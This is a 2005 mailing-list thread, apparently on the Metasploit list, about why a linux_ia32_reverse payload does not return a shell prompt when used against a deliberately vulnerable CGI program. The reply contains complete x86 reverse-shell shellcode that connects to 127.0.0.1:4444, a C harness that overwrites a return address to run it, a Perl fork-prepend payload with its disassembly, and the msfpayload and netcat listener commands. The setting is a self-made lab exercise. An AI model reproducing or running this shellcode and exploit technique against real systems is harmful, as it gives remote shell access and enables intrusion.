Can't seem to get a shell prompt from linux_ia32_reverse

[jwasser at skaion.com (John Wasser)]

The provided code works fine both in normal command context and CGI
context... but it didn't get me any closer to getting the Metasploit
Reverse Handler working.

I built it, ran "nc -vv -l -p 4444" in another window, ran the program
and 'bingo'. I got the connection and could issue shell commands.  

I then copied the program to the cgi-bin directory, ran netcat again,
and browsed to the cgi.  Again, 'bingo'.

I then took the "fork()" part, put that into my exploit:

sub PayloadPrepend {
        my $self = shift;

        return
        # if(fork())exit();
        "\x6A\x02".     #       push byte +0x2
        "\x58".         #       pop eax
        "\xCD\x80".     #       int 0x80
        "\x85\xC0".     #       test eax,eax
        "\x74\x05".     #       jz .+5
        "\x6A\x01".     #       push byte +0x1
        "\x58".         #       pop eax
        "\xCD\x80".     #       int 0x80
        "";
}

Unfortunately the symptom persists...  The "Reverse Handler" exits
within about a second of the exploit working and making the reverse
connection.  :-(

So the linux_ia32_reverse payload works in a CGI context when netcat is
the "Reverse Handler" and firefox is the trigger...  Maybe my exploit
needs to better emulate a real browser?


On Tue, 2005-04-05 at 17:18 -0500, mmiller at hick.org wrote:
> On Tue, Apr 05, 2005 at 04:46:25PM -0400, John Wasser wrote:
> > As an exercise I created a CGI application (Apache under Fedora Core 3
> > Linux) with a buffer overflow vulnerability and a  Metasploit exploit
> > for it.  The exploit works and the payload executes but when I use the
> > linux_ia32_reverse payload I don't get a shell prompt. The Reverse
> > Handler gets the connection but no prompt:
> >
> >
> > Any suggestions? 
>
> I believe the fork code you added to PrependPayload must have had an
> error.  Take the following sample code that simulates an exploit:
>
> #include <stdlib.h>
> #include <stdio.h>
>
> char sc[] =
>       "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x05\x6a\x01\x58\xcd\x80"
>       "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
>       "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68"
>       "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
>       "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
>       "\x89\xe1\xb0\x0b\xcd\x80";
>
> int main()
> {
>       char buf[8];
>
>       *(unsigned int *)(buf + 12) = (unsigned int)(buf + 16);
>
>       memcpy(buf + 16, sc, sizeof(sc) - 1);
>
>       return 1;
> }
>
> All this code does is overwrite the return address of main with the
> address of the start of the shellcode (which comes immediately after the
> return address).  The first line of the shellcode is a simple
> unoptimized fork/exit:
>
> 00000000  6A02              push byte +0x2
> 00000002  58                pop eax
> 00000003  CD80              int 0x80
> 00000005  85C0              test eax,eax
> 00000007  7405              jz 0xe
> 00000009  6A01              push byte +0x1
> 0000000B  58                pop eax
> 0000000C  CD80              int 0x80
>
> The shellcode then runs in the context of the child process and the
> parent process simply exits.  When you request the above code as a
> CGI, the page returns an internal server error (as expected), but 
> you receive a shell on 127.0.0.1:4444.  The payload was generated using:
>
> $ ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 P
>
> If you're curious as to why you receive a connection but do not receive
> a shell from within the context of the CGI itself, you can strace the
> CGI process (add an artificial delay for testing purposes) to see
> where it's dying.